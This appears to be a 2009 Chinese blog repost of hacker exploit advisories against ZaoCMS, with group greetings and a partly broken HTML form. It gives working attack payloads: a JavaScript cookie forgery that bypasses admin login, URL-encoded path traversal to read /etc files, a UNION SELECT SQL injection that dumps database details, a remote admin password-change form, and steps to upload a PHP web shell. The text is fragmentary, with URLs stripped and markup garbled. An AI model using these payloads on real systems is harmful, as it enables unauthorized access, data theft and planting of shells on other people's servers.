分类： 网络与安全
2009-05-24 17:05:36
--------------------------------------------------------------
ZaoCMS Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:
Software : ZaoCMS
---------------------------------------------------------------
Exploit:
---------
admin/login.php
javascript:document.cookie="admin=stgAdmin;path=/";
Then Go To
admin/edit.php
demo:
-------
-----------------------------------------------------------------------------------------------------
His0k4 - Dr-HTmL , Dos-Dz TeaM , Snakes TeaM ArAb Academy Security Team,And Ev!L-C0d3r.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
ZaoCMS Remote File Disclosure Vulnerability
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:
Software : ZaoCMS
Note: The OperatIon Worked By Deleting Your Cookies From The Vuln 1
---------------------------------------------------------------
Exploit:
---------
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F
demo:
-------
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F
-----------------------------------------------------------------------------------------------------
His0k4 - Dr-HTmL , Dos-Dz TeaM , Kondamne , Snakes TeaM ArAb Academy Security Team,And Ev!L-C0d3r.
-----------------------------------------------------------------------------------------------------=By: Qabandi
=Email: iqa[a]hotmail.fr
From Kuwait PEACE
=Vuln: ZaoCMS - SQL Injection Vulnerability
=INFO:
=BUY:
=DORK: --
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Injection-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
First we need to use the "Insecure cookiue handling" vulnerability, found at
You add the cookie, javascript:document.cookie="admin=stgAdmin;path=/";
then go to:
UNION SELECT 1,2,version(),4,USER(),6,DATABASE(),8,9,10,11,12--
LIVE DEMO:
UNION SELECT 1,2,version(),4,USER(),6,DATABASE(),8,9,10,11,12--
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-==-=-3la-ra7atkum-shabab-=-:P=-=-=-==-=-==-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.
Special Thanks: ThE g0bL!Naction=""
method="post" onsubmit="return checkForm(this);" id=form1 Name=form1>
Cod[3] By ThE g0bL!N ZaoCMS Remote Change Password
ThE g0bL!N
border="0">
Contact/Login Info
height="20">Username*
admin/>
height="20">Password*
Real
Name*
Email
/>
Phone width="100" height="20">
disabled /> Site Administrator Priveleges
class="s" />
利用代码
复制内容到剪贴板
代码:
=By: Qabandi
=Email: iqa[a]hotmail.fr
From Kuwait PEACE
=Vuln: ZaoCMS (PhpCommander) - Arbitrary File Upload
=INFO:
=BUY:
=DORK: --
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-File-Upload-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Go to:
Upload shell
location:
http://localhost/documents/SHELL.PHP
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-==-=-3la-ra7atkum-shabab-=-:P=-=-=-==-=-==-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.
Special Thanks: ThE g0bL!N
阅读(515) | 评论(0) | 转发(0) |
给主人留下些什么吧！~~